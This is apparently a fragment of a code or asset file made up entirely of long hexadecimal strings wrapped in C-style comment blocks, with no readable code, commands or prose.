b44ede901e00ee4b16ffb33b485a55479d469d0c35fee28399e19053cb18b7e4e71fd28374b8470cb1314e68fe221b0e5124672e1d33e4cffe8ada10fab58ac5a6bdf801d0a38eca6766b6a6e15c84539d249c5f3673ab5cbd6e00de163adabc4299fcbe2a6a8b588a78b3c025b0d8d77636716baf7ef4fc73374cb7d0ed540f708c43dd79567a472ec746fc1a86eb45756bdb930bb5222b2a7b20e1e487133fe2413bb9c87b7765bfdb0db05b8354622a3db76707c0e6e5db89ff217f96192efd478e60e629142d962ff55353485ae403610e4825532086b3dae9e23d52f21fec90cda58fdd3a19d188bfeac1f57e8865769123b629c8ce023c8186dcb13451780e4296e06333373854efa1951cc8abe9ababc613d35c7f9f1804fe6a304ee70e8f2beabff572f0ada1a3b885f0876ab73c81bbca4cc9f20eb7203468b3f70a9432d1d84ba0a4c65fa2485dad5d58bb39c8d6f4372d6175a6d30bfcd4b4ab608613ff0ff966ce7c98118435f34fa247265ebc61a974d68f34ac9517f2e6e8e348a8be9307285db30d4e28c92db94040556c6a9a64ab2eba32893162622ede1c28223d2bea53ad4e8c5804a1ec163a85dd7344d1aafe5795a058e22ee22ffdfc3927da86e9fb54bf33e9dd96b79fdcc9a095899c35d39c9e743e621e50daaa4de1590a8f3128faeab9fa21cc12acefde155bef6db66074dec46293e17271a48f4757282c550155e8979bc095b083ac2b4f50c7521064553260c00a6edf2d21f6bee571a2e22736cef81a217a65da6ab803a60cf1e4f28f6528ff6e28bd159f6c4a49d13e44aa1d6fb9e797e24ab88b77cfb91028a115c566f9f94cfe5383e357e380fa95cab16c79b5a7ecb5a0e8b9f82a6dd1a095209ec358f61e00ba8e603234ba28432139664172f1584133c2f6c0b87eb21c62e8894af53bdd279327ddbe5f38210bc1a8fbb21f6776a4e09cf20896c2c03d49f29867e1193844222d16155056eb4906a973bd735aaa033137551474040dd5d03ee105a45bac3a5dddbeed8de00e30a26e055471a6c70d65fdba264c602eb5867269201c9b84791f751d150d41c2ee21852b634a26d84a9a130af542687ecf1234596c3319b73e4f38086f24d7a1a53bad1f8e025e0b49bd757adb42b83b06ce2756b692071809fa3e9d63fe0cf1ebc5c6ccfe7ad9b150e92514c82ba4c622f4ef1d70d4793f65729c358cb4039809aa70c044c182ca900ad0c1a321e9de17a53268ee7310f178e4800b258345721ff1fe70fe6a0139dfc351d9e0dce1471a7328e6b56332ab233753e081bd897280d7b90997d58585b5b273b7eb74ca822ae4ec9f28235127d280423cde753ff00dfc6f7d2a739667d452e3f147910758eeb268130b4b22a9b3cd2fab8e385a45a6c31026c5c3ddbba66c88fbe01471aa29ba6d533ba87e4b8b3a6367095c858829f399636d952647dd0afc34f5475501f0afcd0254cc62c57600586f0257179a0328ab0661971aa39f6e0c8a16a1e2103e9a32be914784fd0e41c9b8967a49461fab0a40e692d24d14b73daee2ab069e3e87cbb434ea617a7e902e364d034ad95d8eb5af2be2f9fe899c4aab20d359c3e61426666977176ca67e3d57b2f1c5b4defe4d80cac758668507c25f67a0751010d9c17977e9dc63c7345ce910b4ede4b838fec9e8cdf59913cbbbd7ddb69f644bf5394598482ca46ced062ab9a776b7d24e4c859b6d480d3d78b890dbdc9308f72a58b0ef495de69a7b77c32cecf853cc7f4509a8543d19b91a609b7e9cbf6cba98376273fec40076832fc85d390e29ca15b6258f918a4b91bf6657ebc773bb122489ecf96beb97aa7be3713cc0e1c50ed087c9fac7719347f20c08318eedd7c3e3332*/
/*d4d59b3672efc8e5fadc1936f9d3357cb57d8fa2bb2a4de377debd612736f92b078fb8bfa402d0e15ce9d46f60ae81bc82a13a0ad796574e59da01abfe36c1a5ca42c079b1b06bca718fb622accc5b3af7a47ee3b0e1c18ab4fcfed8c8d00f0cb672e09b01da171f6df5c46ee643b94bb84c876f95401edd4448ea785f4c873ba990d6ec2f2bdc050f2d1ca995b7cd0a73af28bda4d334c3fe8f459d96193c7ca295144886f24e002499862f3f9bd279af8b1aa4ccb16d627eefcebd959830bdfbe8102726c55d26b292bf320e50bd27bf90609928d58ec63085e07c70510df1496221f39b8abb175407ced6d702981db958bf4956209f0fbd2af650138c9d4dfc030be6d78abbd110a1cacfbfccc85784edddde78a823177738b10c11c6b6b084ff97528d355ff24d3fdd5a932f1bf38e079056243709edfe7bc5d5dfbad0a02059ef418e53bff089a767e5871727790517c86de41217343e15421ae7b25e7e043524e2d20c9d1af349211416320328c93844be7c7fa4f0a2c4592131ccf53a24bea44d254007d284a9a8be47dafe4f83de6d8a4999e3e4882986faafbc081836a742396243793978e8341ba55a9855d6d96e6254bbecd75f0a48ea0a04a205e0efaa96c22b7569854c214c141018f60d41c914fafb0686d9d4f0dc035c661570f3ef6a9c27cd64e998f229a02ecc02fb688623d17bb2a148995025c8c3565d196ce2e8d55e12962682a6e3d0f7f533e2a7b99955756b95385efafcecb82b7e404e01edf99a427ac7d262dae2b9d78425e22c997ba3a34c69dd6910c53af1dbff8efcafda6d1600d5eec47ab2c68f9b9a4979728f21ccb70014443e9da24fcabd9ea1b701495ee89241cca522d2c22544999ae03d761ab866dd5a6f4cbcaeafa1d53c0c8b3c17664c1758b2723032b997715bd57ef1783bfd097c75c3475b81bbdef5e0da94072948146869a9ad14887c63d604419f5b31ba7d3c831c7de6fdb8fb0df24de167d6a6c7cb7bf7fdb227a062ce9a9a23f70fb0d540b42140923207dd00764859c4c6950a7b0cd6bcc1394774917f5c942db533aebf1dc3a48d1008c2f916abf2745aaffae7fdefdcfbb836b69849a774761666e1b16ccd632aff98163f11979c95360ece83f7a3032314b4e1f6a2542f5079eb82aaf5282713054c705210c566ac3fd4bcbdbecd57bd3fc09ca4539d704e6c31838c52b497d8b1279e15d00ccf488a4c417555c55e427c4758eee98efab7c1bc5cdd3fac02663be059d56dc7760dfd5bfe3ac5213b699ac2f57f0183f519b7575deb2586b3c264de4e225371980787ef56b763c04479bf7f1411bc68432461bbe559b7e8a9077f6b5cf15f3cb9e4af80b3cc8fcf5355e7e77d52a5c28e164524271430cb5822492df3080daa242c2db5229468a22bd1ef47e942132eb2d94789f1fe6d5a8906977714f9b28da7f147aef0c2855124baf67f094c75e9b51bed69d16348befbf93c29355653093812aac6fdc612633a5a5a197e868ec8da08e25f5a81ca3ef27b426b7026a99d2a5a720f63df67c6f40b33b34441f943b7917d8177e48ea221db8624678acbe85b41818966aa470e3f54e1dd3a59a77319d187ad8c30baca5fa0d24220683384d12a5c42b642ab420584b558d8943c9c7de68c2b64bb20b92e9c1e83d71a957f84b3274c2a6f70b482c8b2430c945bba7faa2f4c89b0d8cb6d68c892ec3bdd42d78570c6802214451c77e0fd392aa8692a664b7b733d0675a5c9965a3f88433da5ec043563fe3d35ce9f542c3864b691b08d5bcd1b318fbe7cf2bdc21590e196dbfc4504ebefdfec3f0825d6cbe75acb4ddc15d7ceb5a4dd0c755f43ba1f58134d470f5a2f2e8da9774294a035b0253d97e0fac079e50557841f2a6e67d0ad9cdefadbb81a9a0d10b88bade293ba03ddc906b670947770017972dbc2f759b985f3a8328219c367d529b6c5545416926e5c91b1fac0ac99904ce207f3ff1f9610ce80a176f0efee20a14dd60ceeeed0eaa7f035552706e499e2605cbf56a64f195f9ab6e32ab8737782b7e72e82c97a94834935586dd2162bde1eb790eb136a8c24acfe69a015e93fb4929fb3105e3cf3a87fe89e46bfdb20b25dc43f49e7be9c1c59dbdd223389984703ed166d83045e8d27c20b556c5cd33a18054a243cef63ceb2a9cf7476a249e69cb14095587e71ad1624866dab276f50280c1c8017194ffb665165674c7426212c89577b0986287a4b97997920a7b95b58b493768e6920ccbe3554129f67a962e9b0964c19f3e66be862c40e28fea984d5a75e60898f7881e2f7463ef14a0e9ed5665b8683f490ecf0f07436e370d0a9a71a5428066f238277d44f3b122939ca4985d4416bd06b45290b34812094b68febdf666f7f0c8ffb76711d8994c52547484ee2e201590d9e3a10813e9eafd3b6d732fbb5e891fd4a167c38e73ed62f5a2a7b44b2393964cc8af6bc3707502f28393e3e0f1adfe2f93461c7d8f64ddc132cc942b312ba261e95b95fc2c971c24a096d4e632e025527ddeafc3d3a7b45ac4e6328c4dd4b51adfd5accec48d63dbc86b4b9f07ee18c2813befcaf4d199c22b4279c0d79aa5e418c2013b233e93365f85501fb97984a8d9c0edd0aa6c6d4be4df7b90b60ecdb5b9cd5bf90d410efac7291561e24e5dcd27ad104b85470ccea423880feec18b70e6e8313255b91588e8fbdc5f811e302f36ac6f3ef57efe9726b9b1092067435c5c1874a7fbecdc5075c237a59ce6aaba19593f04614b26e53adc3e3df6189a38e610a159e3db6851d54d4483ed5d325d986203342108ae84d25f5*/
/*d4f77a12be342736aecf2d2a9e0e7ef2bb9dcb690941b8de41f2b1abe04e43667bcb6bbd6877053968fef3c6c4cf72ab2454d3269e7d9c94ed4213608892b206ce339154c7ffe4ba62e98494c41220edf0678a7aac458f44934e069f7e88ba73594eec5168d6130acc52d511859528a25a1399fad08122ad59f35bf95b3d01b1fc266ea0421819e899f98d422e7b6561d8c732bf72c31fe2a2091ae68d838ed84ceb50d8050e226eac677d2a048a5c34fe4ca1f0564fd3aeb67eacc83d6c1984e092f5c85ab27fcafbf4ab8edf51da1a4afef436bae9d58726e1a9467822c063b385f38f0e8577d8f8e6ae37be1ed264b951bb84a3cdb84dd6dd29d1e29d54de38cc32bad9f3adec3ff4e14a0df24f733ae369d5293e33b46f8f1c24497dfdf9ff1ea12c0d7ffca2ea7476e0ea41c8888be1dac8e11bc7b7acd645461e6add8dab262cb4715e0f5c46c545cdb3e6a6e4766cba625b78880a3a1f72f4dfb7013c82c3ff243243eb28108dffa20b9e03cfc67472181c8c8ee3071681b8658cc67d40e3d122209f0e52b7957c2cf397bb5a7544b80611b0276d42118a109dd53531ced52bc63e1395d0d2f034958e2b239b96cf1d97ac519744313ec2182b2158234be2baab33fd50c5708f065b06c9df13e4122506b7d166eb66f0d2ed4b7832bdeaf7e2af4116e00e00849de2e2920c92ffea01518b417bab6180b034de06cc453236b0fa25c779363f6432d9567a3355cbd8ec8ba867d29555222c397d92c3b8e361792fcacaaafef581da2bb7373203e9542118e27b2823aed45c63decd7894876f15e86fff737b46dee4e0a40cc693cdca051d98c82e3df77fcba735890fb15f0e12a87952a4bbe44e780cf34ea90876ba062a8244c62063773d617889dbe8c94799dc16de1eae92c987b043959b33b80df02cab2e26c5378349b7c32ec87545311af94fcd3f66275f9e6d6c35232a4464086112db87bac2df41b90f800788791a3f6ef46c2f2e1d902d777de8aef29c5e36ca8ff0c840c530dba6fb649177c268f305cea67ee52b514cfd5c388d5162fb88d636fae052f3567c8f5848b4c8697e3a92b31744eda110a9357640069ba8fa09fddb0e28f11495e28653ee0d83f1ed1b79d10b5062766370ec88a802f5be70e9400feb56dfe42698e2974d8e4b767c60da7e06be478accd36a8d4cc337bff0349ae7f4935b34b3d069b75ec39290b51863d0f749a1362687168d46c462da2ea6bd3626b1808159eeb83149fe2f564d8bb9754d0aa4086e855bd0863c574889ff9c629bde87e466ffd39f5e76b2b0e675e661b50fda53b399d7eb84cedcaa5f65ee92b789004226f59ac399b68310ed4f0c7cbd65010999e151ca241f58473b6cda32f0cfe97cf30d5213676c7906de2d7c718283e690d52b3beaec54532b4344761c3bed54fb0fe6a552596be2081dc733593bf668decc978226640093d5e8d10bb923bfa9ffce91b2961c1b58615e95cb2741d14cc183d9637a6baed7482e864274689f266f995c2b19b716a44500e761fd5bc2b912ad9b83a1bc74f6d119529e04e193bf0e1881809e6c1c336f7395d0dee00d09aea81780f52772a8698b5529bb5d7f6b689c08b18c8e2017c53a5579deaa32139b90bbb1c25a288f54bf8da2bb64ea181cc4754c8bc64e2963a79db92166ba8ba0540334e397d804a54c6576a588e8932c805649f193ec41ba406d8cacf1115a8056fd82e9654e2356e048a0736a41e2cfd41dec7b598fd8056ac35700ad0ca40d8918e21d63a49d7754b23f04f93a7595c3da5a8f693814fc9cccda918bad86ab0b544cb8471b2a8ffc69f0578b870f5d543608e21f065b69a850d259ab72299c95874f46d5551f7db002c1c0c28b0097a42f46b8eba6e1717839f0ae4b0def03dea7e2c5d9a5a3f463962b4f87dffe4fef331afa6d05e49ce9e4ed494bb53eca2646771117db891556c8bdfa2b7e670df07ce67e749afffa40299c47be6c3f4c80e21d45773cf34684ec7d0008548517507d07472c59bbbac9f44ef1f3285408ddef9d10c552d78ac94e012e52f15aca7e591be850e9c685da5f63f34dfefdbbecbcdb2ed58d69c617e262b63916d3b3a0bebe86a19046afc2bd109547a841f2356a4a1da47144127ba48d5a4aac12d39b517d070aba085e7b93c8b4c09197a490ab91de2b380affa96d98735f2ea8c0809e141e8aa298a50d45befdfe0db1db251e96898176f47c7266a884f1262aa0581eb3e1813309b2f59bd43644d7b0ea84a46d51e9577f712b4951a43c91e61a3559e2016303ed21b9bacce4f8d6576069fa5678c7a54b16f9441fce8dd9e6729f8d906e1bef1d16c5bd34434317430dd8ddee6bf64b2b4a975182090473b5bea70643540dfee9953bf6423e6a78f09e85ef09ce6c591eb67712ce73665d4c2cf2cfde11c4f614dc1302788f177d0f9a9407b0cc60d8040e4213c36046d392d1054ca0aa46c82ed04ab8f71397e4d793e62b41e518a5f9257af5cfa5657fd20653913c381107a4e8a095019029406f57d3eec475209b7a972895ad602894e9aa954b791f5f019c81ae2f662acd0885d6428e831a43bb9fb781dbe019014e69a099026423db3ab38395efd0c9b69a0ee1120c7c238f211f04dcc78293a239e9b19590a99c6ca49c0ab29d64cb6bfcfac4c844347888c2ba8581e29756ed70366bbbfac7d42ca2fd620f91f58f6c864f32ebd838e72b37cba5020d950c0c69eb2830a9da5c76c568f7aba1049b881144b6710e038d6ce9c2f60ddad2aaa8d365f659c63abdfc0e981fc648cf397af557e7d4adf7470046c8*/
/*1c51565ad6538d64b09098da4ed9e19b43fc2681855eb8691118fefe118aed65a2f8ef198812198bc66a0c28859d2b0a0f52535fb98e57e2c672d90b702d5299250aa32b2e0862d84204e2b96ccb47894a060af06cc8a86612bac8e29d4f54042b94262ce2daf91ed0e6f3098755f1ddcfdbab29a481d3cdd79cb8eabc545c50bc12b5377094f4fb95084e2004bb1ee5084c0c37e5c005655157b8373c41c954cad1263dacf98a2ce0580e2588cd5f77d1ad99b257202da8aa1532dd49d6208a6b8effe189ddcc9a1f5ce9f1d3bc8ecf12cae79b96ca2dc730343e91943cfc8a7c4c37d3759aa5380a27630ee0f32651a6060127879749bec4331b4d064a6c9fbddc261001c84e6cffc4ffa84a856428472c06b17e21604c75b37dc079c28d4b90f73e0a2bbe9168e8bb7c3846adf625133ead98f27945853c2681dfb5ba54f1ca8e7c031e3845525db9a6d52d6ddc20e696ba274b8160bf5e2b0167b5c4b4168b4fb14136f42a18fa1f27ec37e7ef3b1d816f93bc6e2c08894a8f62a39113401bd3f916cfb0b69a094002d66ae7aea7c882f22774c34e7d7f1045c17e95c1f7e1633673ae262f2e35e8461f17b8f7bccb8db34c407b0bcc197fc2dea7ed62d216b477ae13ed000dd38ebba623acf4bfbc373625f2823ee65b8814eaad35530e75c70dcb6182543deec9992ce8275995ed9d0e68df415e2ba5fd408b0d081941261e6ccda9f477f185a8d43cd914ac5841d1e74aefeb5bfbe7afe2c633154f7a02578628dfa6aa4700f88fe3126fd23bcec54814d5b39e624a04386d031b5a9b48f691a5b9495fba9ca7828420efbc5c9869281968ded4db7e7cf2fc13a84c2da2f0ed908660b089c2d15048668d5edd9926e84f7225aa2a16efc2f3f8cb883aaf751465caeb7471264756aadbfcdc1afc0e7a56657530dccf97afafe99498e178e81aba0b230c5ff82e73b16a579be5f32661310f705505d1af4f1993757c1bbbe8e7938bdf667a9b84d3ce096e8a402bce3d74ecf6d7c1c93c62194fb670490f0b7a15e56b3140bc1348d1b3036176245964b9f787139060760bf032111043dead9c625d42d118507d4281d2311aa53fe9b2549800df4674059c0843cdd5b15278b59fc17ff7c93e624e5dc424b31e6eeb1f18fb2ed50a6ba6925260c66112a9e8a250f557f6e16e458b195a86aa4b4744d8dd3256618b051afec777aacbfefbf0f09711e27de5e1805037ec8bd71dd0e8cc813fb72ecd356d9a5cbf8b8f68e2b695feec5dc0c4516a06e13bc610dd5ce231ef76f98369dd2edd8d6dcab4af8617c16f1d73394ce1745091bea60d9daa8502e9f0cc85fb9ee94fff1830be9d1a22e2fa8de27bb30122b463439a04c1dff5c2c9da4b548804ef744a796c3b07c0b18c6d0e2d8e3cad54800ed7f8e003943a6ec7e0c7c07effe693554733e03228f13000aaf228159508b04703ced0160438137c3cad522f242aa84bbcc95eac56bde33c69354e3eceffb3e8927490e8a09fdafdc38a2563e092526c6693f4126bfac0db340a93b63f76013272b8dbc13c09eed158ad2f13e0e764f6c45187cbcf9f81e26b50f3f7ee40ab01466ad72553a15ac779e175f43a650bb2910b3824ffb3367642483da9d5ea22f19d41f5df9e61de1528d0391696f50fd847a4b8a27ffcaad5284a4e665f0d917a4e66b27f3aa2f102cb48e31821f4a46d6406f6ea453a9d44885adb64f67698c261fc48143dd6dd1c48c328140ca9ee58ffe75f3d1ceedea7b67005ed77cfb55d15845feaa7e6a6d60a2abac63607c67510346f6d5f7b628cb330e6567de7c71b71dd1b3c075298a0debb1c710a5f01b26d8d930157cae8c19040df2508f1f198d9b6ecd50be9a784c80f096aac2e9b8513c03bff0f50d0ced5deb310e1a7459f1b3eb95a09b63ddc818dcc4fcad0209c6c751d1287a6aaaad20880bf7faa2aa301375bd1f0836b2253f910b32014e486c995fbde44c6622aff0c6a5a13dc74f52a7027e4e4b64aebcbf8b2522a491e40a590b322cba506e18f8951fb11e5d11bcf1cef1e3fcc1e1f23a7fa9f7d221693d936a145b2c41549773912b960ee09088f71ebe82f68ddc2c5a788e58a2b0def0fe1c6750ef1c863b691c244aa9ec141755f05dfa8f0c3f70b8bf663167a2e3fea86ea3928a482c8e9fe2fa2f52ac8ac9abecbc5b6c26c0372c0859688325ca2adcffd63c85ebc4e5030eca58f76a18f0dec0aa0bb745e13cd6a4ea37faeacd19c915e6e41eacaefbfdbb40acd3c42dc4a78cc27e8f72c720a45547fba09ac215a937761f35397fcac117433254a8f712f64552f813b9d522c756dc13266967c4e7db14a4bdfbb08ee41fc28b20bd7b055b0e9645a71dfe1cf7a193d0f75f700618811a25f036870ecb23e7c743713f01fcff900709d4a62c822a7f8a8eda44a2d78b4a5a4706144df3845954b3a58a74bc2d22d56fe1c2a554c436e7315ff5d4919d82ff578be0843bbe933d7be22101fe844141d8346bdee869d2ccf5fef61a13c20df918a063927bdd2dc05b1b6fce19880b83240d3a68ee6e55ac531bae2ef2ca39c5509dbb97c6c196298d9c20c481e8c8d95963b9212d73139651f968afad21ce477c05ca40b2eeab8c794f89f1881a8faa4f6337e5a638563f62ee770fd9d86f7360bea200d37abce30d2ed6dd4f34bcec1585e564dd174835c53cdae9a8d9ea371b1a4bbbdf724535d9e8095ccb231620d4a9cd445eb06c8363c70d5a091802884c1ec34c8621c856e2bb53e6a288d620a884a108c3677aec53bf3d5eeadd9ff6a3b82d19e40fd282686305b8b3a74ca*/
/*a9870ed81a467268ecd4b16da6468f35dcc5d00046af79618f244e7cbba2219053e715927405f333ebf088cf3fb60259bfbbc4c64049eb559266ba13370633f6b97e5543aa9a3b8546d4587ff5ae2f6acd7b0b389753ea30aa1991b551ccb2cdd2c9018d78fa394b69c9588cdab2befbaf271b92831666c778eff7fc594e818f4a4f2999658e049bb250bbdf77487c5cef1bb95537f2a50e01a16ac83589eb35151cc0f3dc16b072b526f693f8e64828b51fd28bf73408360a81b8211800987f86ca7af7f2772815400aed827d8c0273bd0921cd2863e23bf37000906f2f681b31ef59c2723242bc1aa8ffb04b3f3040d062dcd451db2bc01e909d3846a567ac02bcd9740d5df094bbec192a1611590975bba6e6d2e500ba69ac3bdba9d9dcb703e44b37f7712415022b64c3fcb2ac2761a8fbfecef645fd38263b7e747f3c45ff1b8b051a082d9d212b3c5f1fb053384dd06d07e47fc19b55bec729621a22fc0dbb6476370d7e5a5424512bd06e2f14ef3af950caf22c3be8261c4e6af1525cfe5ee8f59d14103e2519ae4672f4bfb9f4120186afd6959f95e1909070d09dc892c8c881fd6e98aacd6f8fa753fc0d8b3b008ca75635704f1f5197306691a47d9e80771d0440305bca2ac26b245a484fef9fbc23a76171a3c77a4fc74f337f9f7d2b3503b958dddcd5dee378cee265d6dcc20e1a82eee664ffd4b1a2420ee39db364601c8a3b6a4aed8173cf6099338dba063dcc2223be342f9450fd9fa62b823e717708ded4864df18b70c93fc2059b3031c0f383b765e0b71bb869254e7dd6b3bc932bdd2c698cc7776f9d5f6de1f3d99f2c8e6268ffdee7e79b28cdb301bc198c6f06578329ae2d277fad280c34a62281d69dec8b8b0b31d0a69ba3905cb4cae8b9853f82cff0de2f2c2e98b1629fb4ab2b14778fc03296b31cd6a6d8622a1021393a82a5cd3523aace28298beeaf3c92c4cf079dc24dc8a9712ca7811f8e8ef4172dc412be90c2f79999ed0736e609396388bd65282cba20346eae1e5898e1bc98d4fe1d9f889400376bc490de05df9e983315085586d5321201f2434675c5ae1faf6283a69eb47e158e9183bf5f9eb7d83f138c38ac2e88e5e5db9c5e8764fe0ccc56e18f3e1405cb7c828940f886f2366ffa2e8737f8a0f3b533d0e83a3c27e689490a5b91f3bf75bb032bd2dbc8d33aafe8f35281d88ab18ea2f29575de87c6db73677e75edba50cb9534ece44919e9743e626b6a3fd72c3f3883061078bf31e47ee7b0c2df5fb18aea72ddd7c82c10a2722760e31c65d8f6dcc54bd40036d4ea47fbc26195f3ac13bc6295c26f4495354f938515d6c69670a241c85737ef96d47fd4101a04c13d4d291c7b9576fa30db129a350a567779b836feecc374768501a918ae65000dfe86cf7129015ca9def6aad866c582831190da682f75456eaf4c74089c3179ec35c4b5f075fe497f5eab7efd6c2afe3ec16f58186876e2bbaa7cfcecd2ab0092e9fd02c91da72a0fe790d5c14c9856fe4293a02f222966366d30248fd448c6324d3ecc8be37af1e6179b658689524e016832774f8afe85ff3044cf96ead2fa08d65929a2bf404ad00f8452efb3ff5752f603844880d71cf5049e1befdd71908e66cdd4c1a6c4370011b772cfa56cec649eb212f0502222e5a31fb68dcec36c7daed8ecce828cbf9da17a2a17cf6c6e5172761b6fa820317b7ad3fc3eda02e23c9d71c4043e2005b6e3162d48e98b1bbd343663f831f3c9e26500125218a8047bcb1da0bf57d1240057e70eafb8e3ca982008fcf2a93debb45fabe1fff8418d40f58b2c254d227cc8f8dc0733990968db15c2659d6c45271b91b8cc280f659a9e9a98d5d62f1deec8aab684ccc5163655e410ff8b62b96766a7a936cdf03122b4c27a110e187175697535b127fbefe128a460e44a13ba4d8c355e03cc258af83f07359bb88b27ae73ea9c53ba5486a8738e7bfb9bf9cb5195cc4183f2f44333b47e782200cbd56e2852dbeb9cbb7c971243114a067546fccb6b66a48b02acfc58f2b0be49d4df7e53adbc84e2c2808f38bced9c3e3e92a36a02c84165c9d8617d46b6f9b24251445918d549d25c08da9c0af9e440f66562eda82fe21b8dac3624a0f370fd885f3897c63fe14ef4de3aa25682de49f45a51157770b12035da10915c040c56a01086b8e3c185fe464d3c5ca180d3bc64aea43c6b34843b89f08524ee1c2a73ec20900f5c0f4cdecf373821a3cc1be7e64be8c620a2da709e23a6caa6aa6bd041d6c0ad76ea0f5fd3b3fca4602d44de14cd9f7fe90f519b2f912811e6e536695e2994e8c75ccf78e630b76341fe8d94147d84353d340dd1d1dae23a97a397c5a5978a83291e3f7e6b1ff76e5f1dc0f50a75f77d7c204c1bb3de002216e64d5498059f414c1f17b0c05165998854f5d68bf4b053c68ede1c1aacfebcd274053f090a16a7d9ee8be7774ef157f777cb5bf25b4e19fcaec7e2df666d46406b86a7f3578945d59f3393dd120c7a989fb91e18f3d3b60f6d043f6527ced47ef853aafa3fb9d26010c1b37df3b8c572cf1a8067fb010617f469da6261a5843565c3136c6f003d011ca3069e5b8b0b58e6cdc8b9012bcf2d20709763ff142838a374d6b491bf892fdb525f9ac3cacfb8c1737793b08b09ace336230b521e2da88f46fec6bbeab3acd7f3a65f52d0df98e75a752504ced2db9769252186cee25845838a0a908f1e4453031bb7ab10fe89dbf7444215a32eb80b08aa8814b8ff003f49eb2ee9275e64ecd73c2f59fc23659051cc8dce26ecefeed6675c69fc108400f7028170*/
/*35506e5ea5a13319e385a387c66f8a2f5b85ac56b4f1f4d9a910dc40ee442a52eb6145abb412ecc7dce774c28421c59ee65ff113f006ef50a892b2396c4c59d193a4846493460e6ba54ce6b8208feb31dd44b1db351d2e3e4c1158a5d3606c885bfcf5b4cbb78ef5f41b9b5f1479cc87d577deb926fa214b2e7476f505b4d1f2bedaabb5de62cc8fd681cdc4e80fc4868896d8fd734b3889ed7b73c9301ec00c8386aa884d70ea608980835fbc027cab40290950e229892f7513e6f1b9b63c83db68b2e5b02ee948a039624f947056081690980105cb3782d641859ab0497c96860e148e92153a13a7d5d7933e105e1dc32a95c452b7f916a3f9d60cfe0f9f403f79d5670cfeba6fa609efdefee490424710a049291760dd12c38dd8a1dacebb4c9ea110b815dbcd20cdbe63904786e401276595e188d999fdc2fdd24036d55481eaf4ba90b16bc25ccdf7f2275293f6b87c61fa9080ed96ae2adec8fc96f9a61ec8d8103ecb1dd782f54aece7783858e457111e8eb035a937f8a85451a0bed4909648b38dbf4d1c9453358de8b9b26b3539b9f91e0818db4a742613f52aeb2411e98b2f1f7134cb4898509da40d50c09be38b787895a0a4753d8fe5a472a2d11ff6d8e0a0a9fbe44bf207f42c1cad8696af489ab4a3fd85c21f5e38b5a68d14c02d230bb1f9eb7cdb5ec429b05f2598c81418a28aa906fd12b124300b524055b88a4e8f56c563e53b40b2491b3b47e7ef18726ae4c09f7a5d58fd5521ce8d2c63d9f1e6dea0f02e322c7d9c37ea6bce042988ad6fa38b692dc765678a6bad10259535f174adbd94b4d8f506c5ee3e3cc1c4048200b78e897b38f30f685111762901c095eae63d24610948313482b8eec5ee2d8fc95f825f54cf2d3355e0a689235738672f89dab4391682c24cd722f6646ff15592fee85eca1e7e3daf1c0ae5ca46d1cef7bd2d7e4e2fad410da151e7c92ec7ce6933a5c9ade4efc634adff2382979a95323effc8b17bf13f51bf3d3ec6cac416805ddb4dd0d19ca627cb6c26c93d044c8f4dd264ff8e865104f9931bb2ed7c368fb6de43616b0c9af5127686362736d453c2b2943ca6aea3fa0de4711ec42cba26109e80eb9edf2f545106d4e9e5c7821eef5a81c8fe981262023204746acc7845dfaaf6a9d7188654acb33899fb7c93508e5b510af1eae930bb5dc3371112a35c8486d205cc98013869de13adb91954ed41c2b0b87e50dbdf74d7beb3e4d7fa4cc584a9cc0a020fc64ed51bff4e38b4b61f34281ed712772d06f7977d25c4d31c6ef695b277d1fac0a5987a4dfe0124f84406c29ea3f6f30367cf3f7b57176accbbba80cd60c9c63d01256bb1ae4ce7d29c07bff7d18df878ea4b8212eedf4c936e11cb167636a75a0c454abcafe5524eaac8d60d601f9505f1af3d25316d4613b969cac6278ad02ee2542957938a5de0a36fd52f2a35e2deb599c8d7207eb5737b703367363b53c8deb522566f898d0dde286970113119bb3db9084010857bbfa979f4548b82df126a7c721569f72a8605a56b1871d391a5936053ad2d74d5b0321625aeff4a11a0d4de1e14e9ba7da68a82780e5189889df028d115aec166bd4efc2647534a5741e4f0313162e51f5fcbcf8d19eb9eb85f8cae5d9be0ba5bb93dbeb51cafedc2c7660ae8c46feab14f2ec549de834fee20642e599ae5e25b5ed6059ea535e426f6dc6f19c854c7e3af5cb6d0f91459d7b85f949ddec5efecf51cd1b5ada5c20a9048d2ef85d127b13b19864c80aaa072758aa3bb4d0af1b3a076eb579b18ef10994bcd61e36c9df064d837159e36c1d5ff441be4ce246500f384a2caa86abc6cd32d6aa012a8a84e1a1622ae05726dde39cf3d08fdbb79f93149507e856fd659725aba87efb765b1a1436be481d4c6ec43fc5351c0a2076232faae09f32dd20eb7e99fc6496af49f5525743f97186ac0ce693829eb4587ca2011f16ca37a3dbbf9c250ff7bcabb1229380c97a490d92990ead7621a45e9554bcca43da734eda3fc4f3fd4a146b35e630fe584a7937bc3478f150656630919c0a74507d2ce94a1faaddf0df466c085d512f26884cffc6fcb284847b4ebb162fc121e2250903595fbc52f353b6d8b7304e46f2c8dd40afa3c1c98e3d848ade0f06b8cf56bfd4297dc4cf76e842f9a8035fb2cf7061cb5522b6b608af4efc76a907739f874494ecc4ef5709ac33ca7a061581bac2af6f4a2df7cf452971958ab7249e2cbc42383aac50060758133cab3f9bb0e6cfea91dcd2b5ae6cbf1ab79d6ad9dcbb2d803c700534bc99fd7995d94fd4fdf07a25e706b0189c7fa8e00954ede356aadf1a7f41133b628451965ef0f8fdb698cdbaeef0b5d4d065a1174de58bf2cf0cd77add00086b4e52768d08e8bb3caede74ecee3cf8b2baf37727d9c75640862555d90faa1070f99c0439111fa649bc6bdfdfd9c5ab656d936bea54201240778d17db24d9af2e5b2757e3e38a0edb0b9921831fff23118db91524c664a310dbc0fd36a4dae9ce024f9b6eed66299da932e1c5863aa7febb93f27f50bc1f1ad23a563a711ff69af62a84caf0612dd095b1828fb0718e2a337356a5dbead93b55c9c66eb7ad0de40391039e42ba39c3d3987c43943ea2ca5c420a533322e37d68f5cad9054b67b8593d9aef64bf184794da434904f7f2fe36415277616ffda11875750c28cb7125bff800ddb69db74c0b756d67351f738a6987770577af4ec4e0dd91a54381786004a847dbe2c9cc0ea8179fd01d8f72aa520bf79732ecec53b683f308c20c7bd7635ed9646fb505cd3e72e7f48c58af617a8ef*/
